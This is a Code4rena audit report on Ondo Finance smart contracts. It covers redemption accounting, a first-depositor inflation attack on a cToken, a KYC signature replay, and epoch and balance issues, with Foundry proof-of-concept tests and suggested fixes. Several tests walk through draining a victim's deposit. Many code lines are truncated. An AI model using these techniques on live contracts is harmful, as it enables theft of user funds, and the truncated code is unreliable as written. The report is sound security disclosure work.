Ondo Finance contest Findings & Analysis Report

2023-02-28

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Ondo Finance smart contract system written in Solidity. The audit contest took place between January 11—January 17 2023.

Wardens

74 Wardens contributed reports to the Ondo Finance contest:

1. 0x1f8b
2. 0x52
3. 0x5rings
4. 0xAgro
5. 0xSmartContract
6. 0xcm
7. 0xjuicer

8. 0xkato
9. 2997ms
10. AkshaySrivastav
11. Aymen0909
12. BClabs (nalus and Reptilia)
13. BPZ (pa6221, Bitcoinfever244 and PrasadLak)
14. BRONZEDISC
15. Bauer
16. Bnke0x0
17. CodingNameKiki
18. Deekshith99
19. Diana
20. IIIIIII
21. Josiah
22. Kaysoft
23. RaymondFam
24. Rolezn
25. SaeedAlipoor01988
26. Sathish9098
27. SleepingBugs (Deivitto and 0xLovesleep)
28. Tajobin
29. Udsen
30. Viktor_Cortess
31. adriro
32. arialblack14
33. betweenETHlines
34. bin2chen
35. btk
36. c3phas

37. cccz
38. chaduke
39. chrisdior4
40. cryptostellar5
41. cryptphi
42. csanuragjain
43. cygaar
44. defsec
45. descharre
46. dharma09
47. erictee
48. eyexploit
49. gzeon
50. halden
51. hansfriese
52. horsefacts
53. immeas
54. joestakey
55. koxuan
56. lukris02
57. luxartvinsec
58. minhquanym
59. nicobevi
60. oyc_109
61. pavankv
62. peanuts
63. rbserver
64. saneryee
65. scokaf (Scoon and jauvany)

66. shark
67. tnevler
68. tsvetanovv
69. zaskoh

This contest was judged by Trust.

Final report assembled by itsmetechjay and liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 6 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 5 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 54 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 24 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Ondo Finance contest repository, and is composed of 19 smart contracts, 5 abstracts, and 6 interfaces written in the Solidity programming language and includes 4,365 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges

- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (1)

[H-01] Loss of user funds when completing CASH redemptions

Submitted by adriro*, also found by* minhquanym*,* minhquanym*,* zaskoh*,* cccz*, and* peanuts

The function `completeRedemptions` present in the `CashManager` contract is used by the manager to complete redemptions requested by users and also to process refunds.

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/CashManager.sol#L707-L727

```
function completeRedemptions(
  address[] calldata redeemers,
  address[] calldata refundees,
  uint256 collateralAmountToDist,
  uint256 epochToService,
  uint256 fees
) external override updateEpoch onlyRole(MANAGER_ADMIN) {
  _checkAddressesKYC(redeemers);
  _checkAddressesKYC(refundees);
  if (epochToService >= currentEpoch) {
    revert MustServicePastEpoch();
  }
  // Calculate the total quantity of shares tokens burned w/n ar
  uint256 refundedAmt = _processRefund(refundees, epochToService
  uint256 quantityBurned = redemptionInfoPerEpoch[epochToService
    .totalBurned - refundedAmt;
  uint256 amountToDist = collateralAmountToDist - fees;
  _processRedemption(redeemers, amountToDist, quantityBurned, ep
```

```
        collateral.safeTransferFrom(assetSender, feeRecipient, fees);
        emit RedemptionFeesCollected(feeRecipient, fees, epochToServic
    }
```

The total refunded amount that is returned from the internal call to `_processRefund` is then used to calculate the effective amount of CASH burned (`redemptionInfoPerEpoch[epochToService].totalBurned - refundedAmt`). This resulting value is then used to calculate how much each user should receive based on how much CASH they redeemed and the total amount that was burned.

The main issue here is that the refunded amount is not updated in the `totalBurned` storage variable for the given epoch. Any subsequent call to this function won't take into account refunds from previous calls.

Impact

If the manager completes the refunds and redemptions at different steps or stages for a given epoch, using multiple calls to the `completeRedemptions` , then any refunded amount won't be considered in subsequent calls to the function.

Any redemption that is serviced in a call after a refund will be calculated using the total burned without subtracting the previous refunds. The function `completeRedemptions` will call the internal function `_processRedemption` passing the burned amount as the `quantityBurned` argument, the value is calculated in line 755:

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/CashManager.sol#L755

```
    uint256 collateralAmountDue = (amountToDist * cashAmountReturnec
            quantityBurned;
```

This means that redemptions that are processed after one or more previous refunds will receive less collateral tokens even if they redeemed the same amount of CASH tokens (i.e. greater `quantityBurned` , less `collateralAmountDue`), causing loss of funds for the users.

Proof of Concept

In the following test, Alice, Bob and Charlie request a redemption. The admin first calls `completeRedemptions` to process Alice's request and refund Charlie. The admin then makes a second call to `completeRedemptions` to process Bob's request. Even though they redeemed the same amount of CASH (each `200e18`), Alice gets `150e6` tokens while Bob is sent `~133e6`.

```
contract TestAudit is BasicDeployment {
    function setUp() public {
        createDeploymentCash();

        // Grant Setter
        vm.startPrank(managerAdmin);
        cashManager.grantRole(cashManager.SETTER_ADMIN(), addres
        cashManager.grantRole(cashManager.SETTER_ADMIN(), manage
        vm.stopPrank();

        // Seed address with 1000000 USDC
        vm.prank(USDC_WHALE);
        USDC.transfer(address(this), INIT_BALANCE_USDC);
    }

    function test_CashManager_completeRedemptions_BadReedem() pu
        _setupKYCStatus();

        // Seed alice and bob with 200 cash tokens
        _seed(200e18, 200e18, 50e18);

        // Have alice request to withdraw 200 cash tokens
        vm.startPrank(alice);
        tokenProxied.approve(address(cashManager), 200e18);
        cashManager.requestRedemption(200e18);
        vm.stopPrank();

        // Have bob request to withdraw 200 cash tokens
        vm.startPrank(bob);
        tokenProxied.approve(address(cashManager), 200e18);
        cashManager.requestRedemption(200e18);
        vm.stopPrank();

        // Have charlie request to withdraw his tokens
        vm.startPrank(charlie);
        tokenProxied.approve(address(cashManager), 50e18);
```

```
        cashManager.requestRedemption(50e18);
        vm.stopPrank();

        // Move forward to the next epoch
        vm.warp(block.timestamp + 1 days);
        vm.prank(managerAdmin);
        cashManager.setMintExchangeRate(2e6, 0);

        // Approve the cashMinter contract from the assetSender
        _seedSenderWithCollateral(300e6);

        // First call, withdraw Alice and refund Charlie
        address[] memory withdrawFirstCall = new address[](1);
        withdrawFirstCall[0] = alice;
        address[] memory refundFirstCall = new address[](1);
        refundFirstCall[0] = charlie;

        vm.prank(managerAdmin);
        cashManager.completeRedemptions(
            withdrawFirstCall, // Addresses to issue collateral
            refundFirstCall, // Addresses to refund cash
            300e6, // Total amount of money to dist incl fees
            0, // Epoch we wish to process
            0 // Fee amount to be transferred to ondo
        );

        // Alice redemption is calculated taking the refund into
        uint256 aliceExpectedBalance = 200e18 * 300e6 / ((200e18
        assertEq(USDC.balanceOf(alice), aliceExpectedBalance);
        assertEq(USDC.balanceOf(bob), 0);
        assertEq(tokenProxied.balanceOf(charlie), 50e18);

        // Second call, withdraw Bob
        address[] memory withdrawSecondCall = new address[](1);
        withdrawSecondCall[0] = bob;
        address[] memory refundSecondCall = new address[](0);

        vm.prank(managerAdmin);
        cashManager.completeRedemptions(
            withdrawSecondCall, // Addresses to issue collateral
            refundSecondCall, // Addresses to refund cash
            300e6, // Total amount of money to dist incl fees
            0, // Epoch we wish to process
            0 // Fee amount to be transferred to ondo
        );
```

```
        // But here, Bob's redemption doesn't consider the previ
        uint256 bobBadBalance = uint256(200e18 * 300e6) / (200e1
        assertEq(USDC.balanceOf(bob), bobBadBalance);
    }

    function _setupKYCStatus() internal {
        // Add KYC addresses
        address[] memory addressesToKYC = new address[](5);
        addressesToKYC[0] = guardian;
        addressesToKYC[1] = address(cashManager);
        addressesToKYC[2] = alice;
        addressesToKYC[3] = bob;
        addressesToKYC[4] = charlie;
        registry.addKYCAddresses(kycRequirementGroup, addressesT
    }

    function _seed(
        uint256 aliceAmt,
        uint256 bobAmt,
        uint256 charlieAmt
    ) internal {
        vm.startPrank(guardian);
        tokenProxied.mint(alice, aliceAmt);
        tokenProxied.mint(bob, bobAmt);
        tokenProxied.mint(charlie, charlieAmt);
        vm.stopPrank();
    }

    function _seedSenderWithCollateral(uint256 usdcAmount) inter
        vm.prank(USDC_WHALE);
        USDC.transfer(assetSender, usdcAmount);
        vm.prank(assetSender);
        USDC.approve(address(cashManager), usdcAmount);
    }
}
```

Recommended Mitigation Steps

Update the `totalBurned` amount to consider refunds resulting from the call to `_processRefund`:

```
  function completeRedemptions(
    address[] calldata redeemers,
```

```
    address[] calldata refundees,
    uint256 collateralAmountToDist,
    uint256 epochToService,
    uint256 fees
  ) external override updateEpoch onlyRole(MANAGER_ADMIN) {
    _checkAddressesKYC(redeemers);
    _checkAddressesKYC(refundees);
    if (epochToService >= currentEpoch) {
      revert MustServicePastEpoch();
    }
    // Calculate the total quantity of shares tokens burned w/n
    uint256 refundedAmt = _processRefund(refundees, epochToServi
    uint256 quantityBurned = redemptionInfoPerEpoch[epochToServi
      .totalBurned - refundedAmt;
+   redemptionInfoPerEpoch[epochToService].totalBurned = quantit
    uint256 amountToDist = collateralAmountToDist - fees;
    _processRedemption(redeemers, amountToDist, quantityBurned,
    collateral.safeTransferFrom(assetSender, feeRecipient, fees)
    emit RedemptionFeesCollected(feeRecipient, fees, epochToServ
  }
```

ali2251 (Ondo Finance) confirmed

ypatil12 (Ondo Finance) resolved

Medium Risk Findings (5)

[M-01] Admin should be able to refund or redeem the sanctioned users

Submitted by hansfriese

Sanctioned user's funds are locked.

Proof of Concept

It is understood that the sanctioned users can not mint nor redeem because the functions `requestMint()` and `requestRedemption()` are protected by the modifier `checkKYC()`.

And it is also understood that the protocol team knows about this.

But I still believe the admin should be able to refund or redeem those funds.

And it is not possible for now because the KYC is checked for the `redeemers` and `refundees` in the function `completeRedemptions()`.

So as long as the user becomes unverified (due to several reasons including the signature expiry), the funds are completely locked and even the admin has no control over it.

```
CashManager.sol
707:   function completeRedemptions(
708:     address[] calldata redeemers,
709:     address[] calldata refundees,
710:     uint256 collateralAmountToDist,
711:     uint256 epochToService,
712:     uint256 fees
713:   ) external override updateEpoch onlyRole(MANAGER_ADMIN) {
714:     _checkAddressesKYC(redeemers);
715:     _checkAddressesKYC(refundees);
716:     if (epochToService >= currentEpoch) {
717:       revert MustServicePastEpoch();
718:     }
719:     // Calculate the total quantity of shares tokens burnec
720:     uint256 refundedAmt = _processRefund(refundees, epochTc
721:     uint256 quantityBurned = redemptionInfoPerEpoch[epochTc
722:       .totalBurned - refundedAmt;
723:     uint256 amountToDist = collateralAmountToDist - fees;
724:     _processRedemption(redeemers, amountToDist, quantityBur
725:     collateral.safeTransferFrom(assetSender, feeRecipient,
726:     emit RedemptionFeesCollected(feeRecipient, fees, epochT
727:   }
```

Recommended Mitigation Steps

Assuming that the `MANAGER_ADMIN` can be trusted, I suggest removing KYC check for the redeemers and refundees.

ali2251 (Ondo Finance) disputed and commented:

> It's not in scope as mentioned in README, specifically in Not in scope ->

> KYC/Sanction related edge cases specifically when a user's KYC status or Sanction status changes in between different actions, leaving them at risk of their funds being locked in the protocols or being liquidated in Flux

Trust (judge) commented:

> I don't believe this clause includes the described case, i.e. even admin cannot move the locked funds.

[M-02] First Deposit Bug

Submitted by **AkshaySrivastav**

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/lending/tokens/cToken/CTokenModified.sol#L357-L379

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/lending/tokens/cToken/CTokenModified.sol#L506-L527

The CToken is a yield bearing asset which is minted when any user deposits some units of `underlying` tokens. The amount of CTokens minted to a user is calculated based upon the amount of `underlying` tokens user is depositing.

As per the implementation of CToken contract, there exists two cases for CToken amount calculation:

1. First deposit - when `CToken.totalSupply()` is `0`.
2. All subsequent deposits.

Here is the actual CToken code (extra code and comments clipped for better reading):

```
function exchangeRateStoredInternal() internal view virtual retu
```

```
        uint _totalSupply = totalSupply;
        if (_totalSupply == 0) {
          return initialExchangeRateMantissa;
        } else {
          uint totalCash = getCashPrior();
          uint cashPlusBorrowsMinusReserves = totalCash +
            totalBorrows -
            totalReserves;
          uint exchangeRate = (cashPlusBorrowsMinusReserves * expSca
            _totalSupply;

          return exchangeRate;
        }
    }

    function mintFresh(address minter, uint mintAmount) internal {
        // ...
        Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredI

        uint actualMintAmount = doTransferIn(minter, mintAmount);

        uint mintTokens = div_(actualMintAmount, exchangeRate);

        totalSupply = totalSupply + mintTokens;
        accountTokens[minter] = accountTokens[minter] + mintTokens;
    }
```

The Bug

The above implementation contains a critical bug which can be exploited to steal funds of initial depositors of a freshly deployed CToken contract.

As the exchange rate is dependent upon the ratio of CToken's totalSupply and underlying token balance of CToken contract, the attacker can craft transactions to manipulate the exchange rate.

Steps to attack:

1. Once the CToken has been deployed and added to the lending protocol, the attacker mints the smallest possible amount of CTokens.
2. Then the attacker does a plain `underlying` token transfer to the CToken contract, artificially inflating the `underlying.balanceOf(CToken)` value.

Due to the above steps, during the next legitimate user deposit, the `mintTokens` value for the user will become less than `1` and essentially be rounded down to `0` by Solidity. Hence the user gets `0` CTokens against his deposit and the CToken's entire supply is held by the Attacker.

3. The Attacker can then simply `redeem` his CToken balance for the entire `underlying` token balance of the CToken contract.

The same steps can be performed again to steal the next user's deposit.

It should be noted that the attack can happen in two ways:

- The attacker can simply execute Step 1 and 2 as soon as the CToken gets added to the lending protocol.
- The attacker watches the pending transactions of the network and frontruns the user's deposit transaction by executing Step 1 and 2 and then backruns it with Step 3.

Impact

A sophisticated attack can impact all user deposits until the lending protocols owners and users are notified and contracts are paused. Since this attack is a replicable attack, it can be performed continuously to steal the deposits of all depositors that try to deposit into the CToken contract.

The loss amount will be the sum of all deposits done by users into the CToken multiplied by the underlying token's price.

Suppose there are `10` users and each of them tries to deposit `1,000,000` underlying tokens into the CToken contract. Price of underlying token is `$1`.

```
Total loss (in $) = $10,000,000
```

Proof of Concept

New test case was added to `forge-tests/lending/fToken/fDAI.t.sol`

```
    function test_bug_firstMintIssue() public {
        address attacker = alice;
```

```
        seedUserDAI(attacker, 2_000_000e18);
        seedUserDAI(bob, 1_000_000e18);
        assertEq(fDAI.exchangeRateStored(), 2e26);
        assertEq(fDAI.totalSupply(), 0);
        assertEq(fDAI.balanceOf(attacker), 0);

        vm.prank(attacker);
        DAI.approve(address(fDAI), type(uint256).max);
        vm.prank(attacker);
        fDAI.mint(2e8);
        assertEq(fDAI.balanceOf(attacker), 1);
        assertEq(fDAI.totalSupply(), 1);

        vm.prank(bob);
        DAI.approve(address(fDAI), type(uint256).max);

        // Front-running
        vm.prank(attacker);
        DAI.transfer(address(fDAI), 1_000_000e18);
        assertEq(fDAI.getCash(), 1_000_000e18 + 2e8);

        vm.prank(bob);
        fDAI.mint(1_000_000e18);
        assertEq(fDAI.balanceOf(bob), 0);
        assertEq(fDAI.totalSupply(), 1);

        vm.prank(attacker);
        fDAI.redeem(1);
        assertEq(DAI.balanceOf(attacker), 3_000_000e18);
        assertEq(fDAI.totalSupply(), 0);
    }
```

The Fix

The fix to prevent this issue would be to enforce a minimum deposit that cannot be withdrawn. This can be done by minting a small amount of CToken units to `0x00` address on the first deposit.

```
    function mintFresh(address minter, uint mintAmount) internal {
        // ...
        Exp memory exchangeRate = Exp({mantissa: exchangeRateStored
```

```
        uint actualMintAmount = doTransferIn(minter, mintAmount);

        uint mintTokens = div_(actualMintAmount, exchangeRate);

        /// THE FIX
        if (totalSupply == 0) {
            totalSupply = 1000;
            accountTokens[address(0)] = 1000;
            mintTokens -= 1000;
        }

        totalSupply = totalSupply + mintTokens;
        accountTokens[minter] = accountTokens[minter] + mintTokens;
        // ...
    }
```

Instead of a fixed `1000` value an admin controlled parameterized value can also be used to control the burn amount on a per CToken basis.

ali2251 (Ondo Finance) confirmed

ypatil12 (Ondo Finance) commented:

> This is a bug, we get around this operationally by minting fTokens and burning when initializing the market. See our proposal here.

Trust (judge) commented:

> Leaving as Medium severity as likelihood is low but potential impact is high + sponsor found it valuable.

[M-03] `CashManager.setEpochDuration` functions has inconsistent output

Submitted by **AkshaySrivastav**, *also found by* **bin2chen**

The CashManager contract contains `setEpochDuration` function which is used by `MANAGER_ADMIN` role to update the `epochDuration` parameter.

```
function setEpochDuration(uint256 _epochDuration) external onl
  uint256 oldEpochDuration = epochDuration;
  epochDuration = _epochDuration;
  emit EpochDurationSet(oldEpochDuration, _epochDuration);
}
```

The result of the `setEpochDuration` function execution can be impacted any external agent. The `epochDuration` is a crucial parameter of CashManager contract which determines the length of epochs in the contract.

The issue here is that the `setEpochDuration` function updates the `epochDuration` value without invoking the `transitionEpoch` function first.

This leads to two different end results and scenarios:

1. When `transitionEpoch` is executed before `setEpochDuration` by an external agent (front-running).
2. When `transitionEpoch` is executed after `setEpochDuration` by an external agent (back-running).

In these two different cases, the duration and epoch number of last few passed epochs can be impacted differently. The result becomes dependent upon the wish of the external agent.

The exact impact is demonstrated in the PoC below.

Proof of Concept

New test cases were added to `forge-tests/cash/cash_manager/Setters.t.sol` file.

```
function test_bug_inconsistentOutputOf_setEpochDuration_Case1(
  // skip 1 epoch duration
  vm.warp(block.timestamp + 1 days);

  // here the setEpochDuration() txn is frontrunned by issuinc
  cashManager.transitionEpoch();
  // this is the setEpochDuration() txn which was frontrunned
```

```
    cashManager.setEpochDuration(2 days);
    assertEq(cashManager.currentEpoch(), 1);

    vm.warp(block.timestamp + 2 days);
    cashManager.transitionEpoch();
    assertEq(cashManager.currentEpoch(), 2);   // number of epoc
  }
  function test_bug_inconsistentOutputOf_setEpochDuration_Case2(
    // skip 1 epoch duration
    vm.warp(block.timestamp + 1 days);

    // here we wait for the setEpochDuration() to be validated c
    cashManager.setEpochDuration(2 days);
    // then we backrun the setEpochDuration() txn with transitic
    cashManager.transitionEpoch();
    assertEq(cashManager.currentEpoch(), 0);

    vm.warp(block.timestamp + 2 days);
    cashManager.transitionEpoch();
    assertEq(cashManager.currentEpoch(), 1);   // number of epoc
  }
```

Recommended Mitigation Steps

The `transitionEpoch` function should be executed before executing the `setEpochDuration` function so that the values for passed epochs are recorded in a consistent way. This can be done by adding the `updateEpoch` modifier.

```
  function setEpochDuration(uint256 _epochDuration) external upc
    uint256 oldEpochDuration = epochDuration;
    epochDuration = _epochDuration;
    emit EpochDurationSet(oldEpochDuration, _epochDuration);
  }
```

ali2251 (Ondo Finance) confirmed

ypatil12 (Ondo Finance) resolved

[M-04] KYCRegistry is susceptible to signature replay attack.

Submitted by AkshaySrivastav*, also found by* adriro*,* csanuragjain*,* Tajobin*,* rbserver*,* gzeon*,* immeas*,* Bauer*, and* Oxjuicer

The KYCRegistry contract uses signatures to grant KYC status to the users using the `addKYCAddressViaSignature` function.

However this function does not prevent replaying of signatures in the case where KYC status was revoked from a user.

```
function addKYCAddressViaSignature( ... ) external {
  require(v == 27 || v == 28, "KYCRegistry: invalid v value ir
  require(
    !kycState[kycRequirementGroup][user],
    "KYCRegistry: user already verified"
  );
  require(block.timestamp <= deadline, "KYCRegistry: signature
  bytes32 structHash = keccak256(
    abi.encode(_APPROVAL_TYPEHASH, kycRequirementGroup, user,
  );

  bytes32 expectedMessage = _hashTypedDataV4(structHash);

  address signer = ECDSA.recover(expectedMessage, v, r, s);
  _checkRole(kycGroupRoles[kycRequirementGroup], signer);

  kycState[kycRequirementGroup][user] = true;
  // ...
}
```

This function could be exploited in the case when these conditions are true:

- KYC status was granted to user using a signature with validity up to `deadline`.
- Before the `deadline` was passed, the KYC status of user was revoked using the `removeKYCAddresses` function.

In the abovementioned conditions, the malicious user can submit the original signature again to the `addKYCAddressViaSignature` function which will forcefully grant the KYC status to the malicious user again.

It should also be noted that due to this bug until the deadline has passed, the privileged accounts cannot revoke the KYC status of a KYC granted user. This can result in unwanted moving of funds by the user in/out of Ondo protocol.

Proof of Concept

Test file created `BugTest.t.sol` and was run by `forge test --mp ./forge-tests/BugTest1.t.sol`

```
pragma solidity 0.8.16;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";

import "contracts/cash/kyc/KYCRegistry.sol";

contract SanctionsList {
    function isSanctioned(address) external pure returns (bool)
        return false;
    }
}
struct KYCApproval {
    uint256 kycRequirementGroup;
    address user;
    uint256 deadline;
}

contract BugTest1 is Test {
    bytes32 APPROVAL_TYPEHASH;
    bytes32 DOMAIN_SEPARATOR;
    KYCRegistry registry;

    address admin;
    address kycAgent;
    uint256 kycAgentPrivateKey = 0xB0B;
    address attacker;

    function setUp() public {
        admin = address(0xad);
        attacker = address(0xbabe);
        kycAgent = vm.addr(kycAgentPrivateKey);
        registry = new KYCRegistry(admin, address(new SanctionsI
        APPROVAL_TYPEHASH = registry._APPROVAL_TYPEHASH();
        DOMAIN_SEPARATOR = registry.DOMAIN_SEPARATOR();
```

```
    }

    function test_bug() public {
        uint256 kycGroup = 1;
        bytes32 kycGroupRole = "0x01";
        vm.prank(admin);
        registry.assignRoletoKYCGroup(kycGroup, kycGroupRole);
        vm.prank(admin);
        registry.grantRole(kycGroupRole, kycAgent);
        vm.stopPrank();

        uint256 deadline = block.timestamp + 1 days;
        KYCApproval memory approval = KYCApproval({
            kycRequirementGroup: kycGroup,
            user: attacker,
            deadline: deadline
        });
        bytes32 digest = getTypedDataHash(approval);
        // KYC approval got signed with validity of 1 day
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(kycAgentPrivat

        assertEq(registry.kycState(kycGroup, attacker), false);
        assertEq(registry.getKYCStatus(kycGroup, attacker), fals

        vm.prank(attacker);
        registry.addKYCAddressViaSignature(kycGroup, attacker, d

        assertEq(registry.kycState(kycGroup, attacker), true);
        assertEq(registry.getKYCStatus(kycGroup, attacker), true

        address[] memory toBeRemovedAddrs = new address[](1);
        toBeRemovedAddrs[0] = attacker;
        // KYC approval was removed
        vm.prank(kycAgent);
        registry.removeKYCAddresses(kycGroup, toBeRemovedAddrs);
        vm.stopPrank();
        assertEq(registry.getKYCStatus(kycGroup, attacker), fals

        // KYC approval was granted again by replaying the origi
        vm.prank(attacker);
        registry.addKYCAddressViaSignature(kycGroup, attacker, d
        assertEq(registry.kycState(kycGroup, attacker), true);
        assertEq(registry.getKYCStatus(kycGroup, attacker), true
    }

    function getStructHash(KYCApproval memory _approval) interna
```

```
            return keccak256(abi.encode(APPROVAL_TYPEHASH, _approval
        }

        function getTypedDataHash(KYCApproval memory _approval) publ
            return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEI
        }
    }
```

Recommended Mitigation Steps

A nonce mapping for message signers can be maintained; the value of which can be incremented for every successful signature validation.

```
    mapping(address => uint) private nonces;
```

A more detailed usage example can be found in OpenZeppelin's EIP-2612 implementation.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Permit.sol#L90>

ali2251 (Ondo Finance) disagreed with severity and commented:

> Timestamps prevent replay attacks. These timestamps are like 30 minutes long, so the attack is valid only within 30 minutes and we can change the timestamp to 5 minutes and then it becomes exteremely hard for this attack to happen. Within 5 minutes, a suer must add themselves, then Admin removed them, then they add themselves but once 5 minutes is over, the attacker can no longer add themselves and so the admin can just remove them after 5 minutes. It can be seen here that in tests we use 9 minutes: https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/forge-tests/cash/registry/RegistrySignature.t.sol#L57

Trust (judge) decreased severity to Medium

[M-05] `setPendingRedemptionBalance()` may cause the user's cash token to be lost

Submitted by bin2chen, *also found by* chaduke

`setPendingRedemptionBalance()` are not checking Old balances, resulting in the possibility of overwriting the new balance added by the user.

Proof of Concept

In `setPendingRedemptionBalance()`, `MANAGER_ADMIN` can adjust the amount of the cash token of user to be burned in some cases: addressToBurnAmt[user] Three main parameters are passed in.

```
        address user,
        uint256 epoch,
        uint256 balance
```

Before modification will check epoch can not be greater than the currentEpoch, is can modify the currentEpoch user balance.

This has a problem:
The user is able to increase the addressToBurnAmt[user] of currentEpoch by `requestRedemption()`
This leaves open the possibility that the user may have unknowingly executed requestRedemption() before settingPendingRedemptionBalance(), causing the increased balance to be overwritten

For example:
currentEpoch = 1
Balance of alice: addressToBurnAmt[alice] = 50

1. The administrator finds something wrong, there is 10 less, so he wants to increase it by 10, so he calls setPendingRedemptionBalance (balance=60)
2. Alice does not know the above operation and wants to increase the redemption by 100, so it executes requestRedemption(100), which is executed earlier than setPendingRedemptionBalance() because the gas price is set higher

3. The result is that the final balance of alice becomes only 60. change process:
   `50 => 150 => 60`

The result is missing 100.

Suggest adding oldBalance, not equal will revert.

Recommended Mitigation Steps

Adding oldBalance, not equal will revert.

```
  function setPendingRedemptionBalance(
    address user,
    uint256 epoch,
+   uint256 oldBalance
    uint256 balance
  ) external updateEpoch onlyRole(MANAGER_ADMIN) {
    if (epoch > currentEpoch) {
      revert CannotServiceFutureEpoch();
    }
+   require(oldBalance == redemptionInfoPerEpoch[epoch].address
```

ali2251 (Ondo Finance) confirmed via duplicate issue #141

Low Risk and Non-Critical Issues

For this contest, 54 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **CodingNameKiki** received the top score from the judge.

The following wardens also submitted reports: peanuts, luxartvinsec, 0xAgro, joestakey, Udsen, Viktor_Cortess, adriro, Aymen0909, betweenETHlines, zaskoh, csanuragjain, Josiah, 0x1f8b, rbserver, Tajobin, Kaysoft, BPZ, 0x52, cryptphi, hansfriese, 0xcm, BClabs, lukris02, nicobevi, tnevler, 0x5rings, 0xkato, erictee, tsvetanovv, IIIIIII, BRONZEDISC, horsefacts, Deekshith99, gzeon, pavankv, shark, descharre, Bauer, 0xSmartContract, defsec, 2997ms, chaduke, chrisdior4, RaymondFam, scokaf, btk, arialblack14, Rolezn, Bnke0x0, koxuan, SaeedAlipoor01988, cygaar, *and* oyc_109.

Summary

Issues Template

Letter	Name	Description
L	Low risk	Potential risk
NC	Non-critical	Non risky findings
R	Refactor	Changing the code
O	Ordinary	Often found issues

Total Found Issues	31

Low Risk Issues

Count	Explanation	Instances
[L-01]	Token transfer to address(0) should be avoided	1
[L-02]	The maximum fee of 10_000 isn't allowed in the function `setMintFee`	1
[L-03]	Giving KYC status to address(0) should be forbidden	1
[L-04]	Redeem limit shouldn't be set below the `currentMintAmount`	1
[L-05]	`completeRedemptions` is vulnerable to admin mistakes	1

Total Low Risk Issues	5

Non-Critical Issues

Count	Explanation	Instances
[N-01]	Mandatory checks for extra safety	3
[N-02]	Constructor lacks address(0) check	5
[N-03]	Missing check to ensure epoch duration isn't set as zero seconds	1
[N-04]	Upgradeable contract is missing a __gap[50] storage variable	2
[N-05]	Create your own import names instead of using the regular ones	19
[N-06]	Initialize function does not use the initializer modifier	2
[N-07]	Use delete to clear variables instead of zero assignment	2

Count	Explanation	Instances
[N-08]	Confusing function comment on `setMinimumDepositAmount`	1
[N-09]	Unnecessary if statement in `_checkAndUpdateRedeemLimit`	1
[N-10]	Pause/Unpause functions should emit event to notify users	2
[N-11]	Two KYC checks made on the same redeemers	1
[N-12]	Unused constructor	2
[N-13]	NatSpec is incomplete in the pausing functions	2
[N-14]	Unnecessary KYC check on the payer	1

Total Non-Critical Issues	14

Refactor Issues

Count	Explanation	Instances
[R-01]	Shorthand way to write if / else statement	3
[R-02]	Modifier should be used instead of require on admin functions	9
[R-03]	Unused variables should be deleted	2
[R-04]	Use require instead of assert	1
[R-05]	Immutable should be used on variables that can’t be changed	1
[R-06]	Unnecessary return statement applied	1
[R-07]	Numeric values having to do with time should use time units for readability	1

Total Refactor Issues	7

Ordinary Issues

Count	Explanation	Instances
[O-01]	Floating pragma	10
[O-02]	Outdated Compiler Version	3
[O-03]	Function Naming suggestions	2

Count	Explanation	Instances
[O-04]	Proper use of get as a function name prefix	2
[O-05]	Events is missing indexed fields	1

Total Ordinary Issues	5

[L-01] Token transfer to address(0) should be avoided

The internal function `_beforeTokenTransfer` ignores the use of address(0).

As how it is now the two if statements won't be triggered on address(0) and the function will finish successfully.

```
56:   function _beforeTokenTransfer(
57:     address from,
58:     address to,
59:     uint256 amount
60:   ) internal override {
61:     super._beforeTokenTransfer(from, to, amount);
62:
63:     require(
64:       _getKYCStatus(_msgSender()),
65:       "CashKYCSenderReceiver: must be KYC'd to initiate trans
66:     );
67:
68:     if (from != address(0)) {
69:       // Only check KYC if not minting
70:       require(
71:         _getKYCStatus(from),
72:         "CashKYCSenderReceiver: `from` address must be KYC'd
73:       );
74:     }
75:
76:     if (to != address(0)) {
77:       // Only check KYC if not burning
78:       require(
79:         _getKYCStatus(to),
80:         "CashKYCSenderReceiver: `to` address must be KYC'd to
81:       );
82:     }
83:   }
84: }
```

Consider applying a check, which will revert if the “from” or “to” address are set as the zero address and remove the two if statements:

```
56:  function _beforeTokenTransfer(
57:    address from,
58:    address to,
59:    uint256 amount
60:  ) internal override {
61:    super._beforeTokenTransfer(from, to, amount);
62:
63:    require(from != address(0), "")
64:    require(to != address(0), "")
65
66:    require(
67:      _getKYCStatus(_msgSender()),
68:      "CashKYCSenderReceiver: must be KYC'd to initiate trans
69:    );
70:
71:      // Only check KYC if not minting
72:      require(
73:        _getKYCStatus(from),
74:        "CashKYCSenderReceiver: `from` address must be KYC'd
75:      );
76:
77:      // Only check KYC if not burning
78:      require(
79:        _getKYCStatus(to),
80:        "CashKYCSenderReceiver: `to` address must be KYC'd to
81:      );
83:  }
84: }
```

[L-02] Wrong if statement in the function `setMintFee`

The function `setMintFee` in CashManager.sol is used by the admin to change the mint fee.
By the dev comment above the function, the maximum fee that can be set is `10_000` bps, or 100%.
